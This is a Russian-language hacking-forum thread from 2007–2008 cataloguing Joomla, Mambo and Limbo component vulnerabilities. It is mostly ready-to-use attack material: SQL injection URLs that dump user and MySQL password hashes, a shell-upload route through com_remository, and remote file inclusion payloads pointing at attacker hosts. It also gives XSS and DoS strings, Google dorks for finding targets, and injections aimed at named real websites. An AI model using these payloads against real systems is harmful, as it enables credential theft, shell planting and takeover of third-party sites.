Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов

Discussion in 'Веб-уязвимости' started by it's my, 6 Oct 2007.

  1. it's my

    it's my Banned

    Joined:
    29 Sep 2007
    Messages:
    335
    Likes Received:
    347
    Reputations:
    36
    CMS Joomla!


    Хочу начать обзор со слов, что как бы Joomla не считалась одной из самых уязвимых CMS, на мой взгляд, Joomla очень даже не плохой движок со стороны безопасности. Проблема заключается в сторонних компонентах подключаемых к движкам и разработанных левыми (не разработчиками Джумлы) разработчиками. Но блогодаря сторонним компонентам эта CMS становиться интересной «изнутри» (в администраторской панели).

    Доступ в администраторскую панель:
    Здесь я коснусь двух найденных мною уязвимостей в Джумле.

    1. Компонент SimpleFaq 2.х (com_simplefaq) *

    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

    Уязвимость существует из-за недостаточной обработки входных данных в параметре aid в установочном сценарии Joomla index.php (когда параметр \"option\" установлен в com_simplefaq и параметр task установлен в answer). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. (c) securitylab.ru

    * я позже узнал, что эта уязвимость была найдена до меня

    Уязвимые версии 2.х – 2.40

    Внешний вид:
    [​IMG]

    При запросе:
    Code:
    http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,username,password,email,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/jos_users/*
    Вежливо выдает логин, хеш (md5) и мыло:
    [​IMG]

    Теперь остаётся расшифровать хеш и проходить в администраторскую панель.

    Таким же образом можно получить доступ к БД MySQL, запросом:
    Code:
    http://victim.com/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=-1/**/union/**/select/**/0,User,Password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mysql.user/*
    Ну и соответственно наш милый браузер выдаст следующее:
    [​IMG]


    2. Компонент ReMOSitory 341RE (com_remository) *
    Уязвимость существует из-за недостаточной обработки загружаемых файлов на сервер, и наличия прямого доступа к ним по дефолту.

    * Данной уязвимости еще нигде не встречал

    Внешний вид:
    [​IMG]

    Теперь регистрируемся, и идем заливать файл (в нашем случае это шел))) по ссылке «Добавить файл»

    После того как файл добавлен он автоматически загружается во временное хранилище (/downloads/uploads/), до одобрения администратора. Но мы ждать не будем и последуем по ссылке http://victim.com/downloads/uploads/ и увидим следующее:
    [​IMG]

    Открываем... А дальше совсем другая история, которую не раз поднимали в пределах форума.

    Администраторская панель.

    Вот мы и добрались до намеченной цели, но мало попасть сюда, нужно еще и иметь доступ на добавление/редактирование/удаление файлов. Для этого есть два варианта:

    1. В большинстве случаях (на моей практике это 95/100) доступны на запись следующие папки:

    А это гуд! Теперь не раздумывая, идем следующим путем: Установка/удаление => Компоненты. И смотря оттого, что именно нужно (а иногда нужно именно всё) устанавливаем следующие компоненты:

    JoomlaXplorer 2.0 – подобие FTP сервера с возможностью установки прав на файлы, загрузка/редактирование/удаление файлов. Скрин:
    [​IMG]

    Причем как можно заметить из скрина доступ обеспечивает не только на директорию сайта, но и если здесь же хостятся другие, то и к другим)))

    JoomlaPack 1.1.0 – Компонент для создания архива данных (бэкап БД и Полный бэкап сайта с установочными файлами)
    [​IMG]

    Здесь ничего сложного нет, просто идем по ссылке «Создать архив сайта», выбираем, что именно нужно создать (архив БД или архив сайта), создаем, потом идем по ссылке «Сохраненные архивы сайта» и скачиваем.

    Теперь сайт под нашим чутким руководством)))

    2. Использования шелла для поднятия рутовских прав, по этой возможности много статей можно найти пройдя по ссылке www.google.com

    На этом всё. Ответственность за использования данной статьи предусмотрено Уголовным Кодексом Российской Федерации. Тема создана в познавательных целях.

    JoomlaXplorer 2.0 – тут
    JoomlaPack 1.1.0. – тут

    Подборка сплоитов для CMS Joomla! И сторонних компонентов – тут – сплоиты (с) milw0rm.com

    P.S. И помните каким бы ни был взлом, главное что бы он был безопасным (с) Анфиса Чехова

    it's my (с) 2007
     
    1. darky

      darky ♠ ♦ ♣ ♥

      Joined:
      18 May 2006
      Messages:
      1,773
      Likes Received:
      825
      Reputations:
      1,418
      =НЕ ФЛЕЙМИТЬ=

      Для того чтобы было легче понять - Joomla - Это как бы 5ая версия Мамбы, которую решили нумеровать и назвать заново.

      Насчет узнавания версии в последних релизах вопрос затруднительный.
      Файл CHANGELOG.php может просматривать только админ, /includes/version.php тоже недотсупен на чтение. только инклудиься в файлы админки. installation/index.php - обычно удаляется.
      Смотрю более старые версии.


      Множество модулей для джумлы - мамбы страдают удаленнм - локальным инклудом файлов.
      Все из-за того, что переменная
      $mosConfig_absolute_path которая инклудится в практически каждом файле никак не проверяется.
      Точный список модулей и версий скоро будет готов.


      4.5.2.1
      mysql >4.1 (Использует подзапросы)
      Bug:
      Mambo 4.5.2.1 hash pass disclosur
      Mambo 4.5.2.1 by RST

      4.6rc1
      Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
      Mambo <= 4.6rc1 'Weblinks' blind SQL injection

      1.0
      RFI - http://targetsite.com/[path_to_Joomla!]/includes/joomla.php?includepath=[attacker]
      (c) http://packetstormsecurity.org/0606-exploits/joomla10.txt


      1.0.7
      Уязвимость в модуле com_rss, позволяющая провести дос атаку, путь, а также создавать произвольные файлы.
      Mambo/Joomla Path Disclosure & Remote DOS Exploit
      Создание файла: index.php?option=com_rss&feed=[имя файла]&no_html=1
      Путь: index.php?option=com_rss&feed=/&no_html=1
      DoS: index.php?option=com_poll&task=results&id=1&mosmsg=DOS@HERE<<>AAA<><>
      (с) bugs discovered by Foster (RST/GHC)
      В 1.0.8 все исправлено. Также как я посмотрел в этой версии с $mosmsg можно провести xss атаку, фильтр includes/phpInputFilter/class.inputfilter.php пропускает половину тэгов.


      1.0.9
      Уязвимость в модуле com_frontpage, использует посимвольный benchmark брут полей.
      Joomla <= 1.0.9 'Weblinks' blind SQL injection


      1.0.10
      Уязвимость в com_poll, позволяющая "накрутить" тот или иной вариант ответа
      Joomla add unlimited votes


      1.5.0
      Уязвимость поволяет выполнять произвольные команды на сервере
      PoC: http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/?
      Joomla! 1.5.0 Remote file include


      1.5 - 1.5 beta 2
      Уязвимость позволяет удаленно выполнять комманды на сервере.
      Уязвимый код:
      Code:
      1) components/com_search/views/search/tmpl/default_results.php
      
      line 12: <?php eval ('echo "'. $this->result .'";'); ?>
      
      2) templates/beez/html/com_search/search/default_results.php
      
      line 25: echo '<p>' . eval ('echo "' . $this->result . '";');
      
      Poc
      Remote command execution in Joomla! CMS 1.5 beta 2



      1.5 beta 1,2 + RC1
      Уязвимость присутствует в модуле com_contentв трех файлах archive.php,category.php,section.php в параметре filter,
      Joomla! 1.5 Beta1/Beta2/RC1 Remote SQL Injection Exploit


      Все версии
      ./administration/ sql injection
      http://packetstormsecurity.org/0707-exploits/joomla-sql.txt
      PoC:
      Раскрытие пути:

      Заливка шела в 1.5.* версиях.

       
      #2 darky, 6 Oct 2007
      Last edited: 6 Oct 2007
      4 people like this.
      1. Elekt

        Elekt Banned

        Joined:
        5 Dec 2005
        Messages:
        944
        Likes Received:
        427
        Reputations:
        508
        Инклуды в модах/модулях/компонентах

        Инклуды в модах/модулях/компонентах

        Обновлено: 12.01.2008

        Софтинка для автоматического чека инклудов прилагается в атаче.

        добавлен скрипт удаления повторов и сортировки по алфавиту
         

        Attached Files:

        #3 Elekt, 8 Oct 2007
        Last edited: 12 Jan 2008
        1. l1ght

          l1ght Elder - Старейшина

          Joined:
          5 Dec 2006
          Messages:
          191
          Likes Received:
          678
          Reputations:
          333
          sql в гостевой книге (модуль com_akobook)
          v. <=3.42
          примеры: (вывод в цитатах)
          ps для танкистов /itemid,1/ = &itemid=1
           
          2 people like this.
          1. +toxa+

            +toxa+ Smack! SMACK!!!

            Joined:
            16 Jan 2005
            Messages:
            1,674
            Likes Received:
            1,029
            Reputations:
            1,228
            VULN: /multithumb.php
            BUG: include_once($mosConfig_absolute_path."/mambots/content/multithumb/class.img2thumb.inc");
            (с) http://www.rootshell-team.com/showthread.php?t=2969
             
            _________________________
            2 people like this.
            1. fly

              fly Member

              Joined:
              15 Apr 2007
              Messages:
              584
              Likes Received:
              95
              Reputations:
              -10
              CBSMS Mambo Module <= 1.0 ([mosConfig_absolute_path])

              # http://www.site.com/[path]/mod_cbsms_messages.php?mosConfig_absolute_path=[evil script]
               
              1 person likes this.
              1. otmorozok428

                otmorozok428 Banned

                Joined:
                19 Oct 2007
                Messages:
                127
                Likes Received:
                88
                Reputations:
                17
                Как узнать версию Joomla?

                Файл configuration.php-dist лежит в корне и сам себя описывает так:


                * -------------------------------------------------------------------------
                * ЭТОТ ФАЙЛ ДОЛЖЕН ИСПОЛЬЗОВАТЬСЯ ТОЛЬКО ПРИ НЕВОЗМОЖНОСТИ WEB-ИНСТАЛЛЯТОРА
                *
                * Если вы устанавливаете Joomla вручную, то есть не используете web-инсталлятор,
                * то переименуйте этот файл в configuration.php
                *
                * Например:
                * UNIX -> mv configuration.php-dist configuration.php
                * Windows -> rename configuration.php-dist configuration.php
                *
                * Теперь отредактируйте этот файл и установите параметры вашего сайта
                * и базы данных.
                * -------------------------------------------------------------------------


                Проблема, однако, состоит в том, что в 9 из 10 случаев файл переименовать либо забывают, либо просто не считают нужным.

                Примеры тому

                http://www.joomla.org/configuration.php-dist

                http://www.joomla.ru/configuration.php-dist

                Между тем, файл содержит чувствительную информацию, позволяющую узнать версию установленного пакета. Так, если установлена

                версия 1.0.13, файл содержит строчку:

                * @version $Id: configuration.php-dist 7424 2007-05-17 15:56:10Z robs $

                версии 1.0.11, 1.0.12

                * @version $Id: configuration.php-dist 4802 2006-08-28 16:18:33Z stingrey $

                версии 1.0.9, 1.0.10

                * @version $Id: configuration.php-dist 3754 2006-05-31 12:08:37Z stingrey $

                версия 1.0.8

                * @version $Id: configuration.php-dist 2622 2006-02-26 04:16:09Z stingrey $

                версии 1.0.5-1.0.7

                * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

                версия 1.0.4

                * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

                версия 1.0.3

                * @version $Id: configuration.php-dist 506 2005-10-13 05:49:24Z stingrey $

                версии 1.0.1, 1.0.2

                * @version $Id: configuration.php-dist 217 2005-09-21 15:15:58Z stingrey $

                версия 1.0.0

                * @version $Id: configuration.php-dist 47 2005-09-15 02:55:27Z rhuk $
                 
                2 people like this.
                1. steepX

                  steepX Member

                  Joined:
                  26 Apr 2007
                  Messages:
                  13
                  Likes Received:
                  6
                  Reputations:
                  0
                  Уязвимость в поиске по сайту в параметре searchword. Дыра является DOM based XSS.

                  http://site/index.
                  php?option=com_search&searchword=';alert('XSS')//

                  Для исполнения кода, пользователь должен сменить количество результатов поиска на одну страницу.
                  уязвимы версии Joomla! <= 1.0.13
                   
                  1. BlackCats

                    BlackCats Elder - Старейшина

                    Joined:
                    1 Feb 2006
                    Messages:
                    642
                    Likes Received:
                    630
                    Reputations:
                    -3
                    а если так:
                    * @version $Id: configuration.php-dist,v 1.4 2005/11/25 04:46:26 csouza Exp $

                    какая версия?

                    смахивает на 1.4 но както меня напрягают числа, в списке выше 2005\10 - это уже 1.5
                     
                    #9 BlackCats, 13 Nov 2007
                    Last edited: 13 Nov 2007
                    1. otmorozok428

                      otmorozok428 Banned

                      Joined:
                      19 Oct 2007
                      Messages:
                      127
                      Likes Received:
                      88
                      Reputations:
                      17
                      BlackCats, это у тебя какое-то Mambo (не из последних)... На счёт конкретной версии, сейчас, к сож. ответить не могу. Пока выкладываю данные для

                      Joomla 1.5.x

                      1.5.0 Release Candidate 3

                      * @version $Id: configuration.php-dist 8946 2007-09-18 14:26:22Z louis $

                      1.5.0 Release Candidate 2

                      * @version $Id: configuration.php-dist 8290 2007-08-01 14:03:11Z jinx $

                      1.5.0 Release Candidate 1

                      * @version $Id: configuration.php-dist 7740 2007-06-13 21:01:25Z laurens $

                      1.5.0 Beta 2

                      * @version $Id: configuration.php-dist 6691 2007-02-21 09:29:26Z Jinx $

                      1.5.0 Beta

                      * @version $Id: configuration.php-dist 5361 2006-10-07 19:21:08Z Jinx $
                       
                      1 person likes this.
                      1. chekist

                        chekist Elder - Старейшина

                        Joined:
                        14 Nov 2007
                        Messages:
                        215
                        Likes Received:
                        160
                        Reputations:
                        100
                        дополнение к com_remository
                        активнаяя xss если можно оставлять коментариии к файлам
                        xttp://localhost/index.php?option=com_remository&Itemid=30&func=fileinfo&id=4
                        и при загрузке файла иногда работает пхп инекция
                        в "Заголовок:" пишем ";phpinfo();//"
                        <input class='inputbox' type='text' id='filetitle' name='filetitle' size='25' value='' />
                         
                        1 person likes this.
                        1. Solide Snake

                          Solide Snake Banned

                          Joined:
                          28 Apr 2007
                          Messages:
                          382
                          Likes Received:
                          820
                          Reputations:
                          69
                          Joomla Component JUser 1.0.14 Remote File Inclusion Vulnerability
                           
                          1 person likes this.
                          1. chekist

                            chekist Elder - Старейшина

                            Joined:
                            14 Nov 2007
                            Messages:
                            215
                            Likes Received:
                            160
                            Reputations:
                            100
                            позавчера нашёл вроде в паблике нету
                            компонент com_joomradio
                            google->inurl:com_joomradio inurl : option всего 452 маловато
                            http://poosk.fm/index2.php?option=com_joomradio&page=show_radio&id=4+and+1=0+union+select+1,concat(username,0x3a,password),3,4,5,6,7+from+jos_users+where+gid=25+or+gid=24/*
                             
                            3 people like this.
                            1. it's my

                              it's my Banned

                              Joined:
                              29 Sep 2007
                              Messages:
                              335
                              Likes Received:
                              347
                              Reputations:
                              36
                              milw0rmv: Mambo/Joomla Component rsgallery <= 2.0b5 (catid) SQL Injection Vuln

                              В догонку хочется сказать, что на Mambo перфикc mos_, на Joomla jos_

                              Mambo:
                              Code:
                              index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+mos_users--
                              Joomla:
                              Code:
                              index.php?option=com_rsgallery&page=inline&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11+from+jos_users--
                              Dork:
                              Code:
                              Google : "option=com_rsgallery" или inurl:"index.php?option=com_rsgallery"
                               
                              #14 it's my, 6 Dec 2007
                              Last edited: 6 Dec 2007
                              2 people like this.
                              1. chekist

                                chekist Elder - Старейшина

                                Joined:
                                14 Nov 2007
                                Messages:
                                215
                                Likes Received:
                                160
                                Reputations:
                                100
                                очень часто в жомле встречается xss но есть проблема сесия жывёт 30 минут поэтому написал активный снифер сначала снифер пытается залить шелл если не получится залить шелл создаётся новый админ

                                http://slil.ru/25290482

                                тестил на Joomla 1.0.12
                                 
                                #15 chekist, 26 Dec 2007
                                Last edited: 26 Dec 2007
                                1 person likes this.
                                1. Scipio

                                  Scipio Well-Known Member

                                  Joined:
                                  2 Nov 2006
                                  Messages:
                                  733
                                  Likes Received:
                                  544
                                  Reputations:
                                  190
                                  LIMBO CMS (Lite mambo)

                                  Blind sql-inj

                                  сплоент:http://site/index.php?option=polls&Itemid=0&pollid=[id]/**/and/**/[подзапрос]
                                  где [id] - реально существующий id голосования, [подзапрос] - логическое выражение

                                  на данный момент уязвимы сайты тех. поддержки:
                                  Code:
                                  http://limbo-cms.com.ru/index.php?option=polls&Itemid=0&pollid=177/**/and/**/user()=0x746172656C6B615F61646D696E406C6F63616C686F7374
                                  Code:
                                  http://www.limboportal.com/index.php?option=polls&Itemid=0&pollid=26/**/and/**/1=1
                                  при неправильном варианте, голосование не отображается, т.к. префикс по умолчанию выбирается случайным образом, вместо префикса при выборке в подзапросе надо указывать после FROM %23__[имя таблицы], где [имя таблицы] - имя таблицы без префикса например:
                                  Code:
                                  http://www.xtreme.kz/index.php?option=polls&Itemid=0&pollid=26/**/and/**/substring((SELECT/**/1/**/from/**/%23__users),1,1)=1
                                  iJoomla Magazine

                                  Blind sql-inj

                                  сплоент:http://site/index2.php?option=com_magazine&func=show_magazine&id=[id]+and+[подзапрос]
                                  где [id] - реально существующий id страницы, [подзапрос] - логическое выражение

                                  на данный момент уязвимы сайты производителя:
                                  Code:
                                  http://www.ijoomla.com/index2.php?option=com_magazine&func=show_magazine&id=7+and+substring((select+username+from+jos_users+limit+1,1),1,1)=0x21&Itemid=91
                                  при неправильном варианте отображается другая страница


                                  З.Ы. Нашел сам, так что если вдруг боян, сильно не пинайте, это просто означает, что у вас больше информации чем у меня
                                   
                                  #16 Scipio, 29 Dec 2007
                                  Last edited: 31 Dec 2007
                                  2 people like this.
                                  1. chekist

                                    chekist Elder - Старейшина

                                    Joined:
                                    14 Nov 2007
                                    Messages:
                                    215
                                    Likes Received:
                                    160
                                    Reputations:
                                    100
                                    с префексом можно не париться, может кто смотрел исходники тот может и заметил что префик обозначается "#__" потом строка передаётся функции setQuery кторая и заменяет "#__" на нужный, выглядеть будет так %23__users
                                     
                                    #17 chekist, 30 Dec 2007
                                    Last edited: 7 Feb 2014
                                    1 person likes this.
                                    1. Scipio

                                      Scipio Well-Known Member

                                      Joined:
                                      2 Nov 2006
                                      Messages:
                                      733
                                      Likes Received:
                                      544
                                      Reputations:
                                      190
                                      Да ты прав, правда на сайте limbo-cms.com.ru это не прокатывает, незнаю почему, а вот на других сайтах работает, но вобщето мож мы с тобой разные версии смотрели, запрос передается не в setQuery а в функцию Execute, которая собственно и заменяет #__ на префикс
                                       
                                      1. chekist

                                        chekist Elder - Старейшина

                                        Joined:
                                        14 Nov 2007
                                        Messages:
                                        215
                                        Likes Received:
                                        160
                                        Reputations:
                                        100
                                        работает в том случае если производители сторонних компонентов используют стандартные функции жомлы для общения с базой данных бывают и исключения, но в 90% работает
                                         
                                        1. Solide Snake

                                          Solide Snake Banned

                                          Joined:
                                          28 Apr 2007
                                          Messages:
                                          382
                                          Likes Received:
                                          820
                                          Reputations:
                                          69
                                          Joomla Component PU Arcade Remote SQL Injection Exploit

                                          //Exploit

                                          Code:
                                          http://server.com/Path/index.php?option=com_puarcade&Itemid=92&fid=-1%20union%20select%20concat(username,0x3a,password)%20from%20jos_users--
                                          //Текст для поиска:

                                          Code:
                                          inurl:index.php?option=com_puarcade
                                          inurl:/option,com_puarcade/
                                          (c)
                                           
                                          #20 Solide Snake, 1 Jan 2008
                                          Last edited: 1 Jan 2008
                                          2 people like this.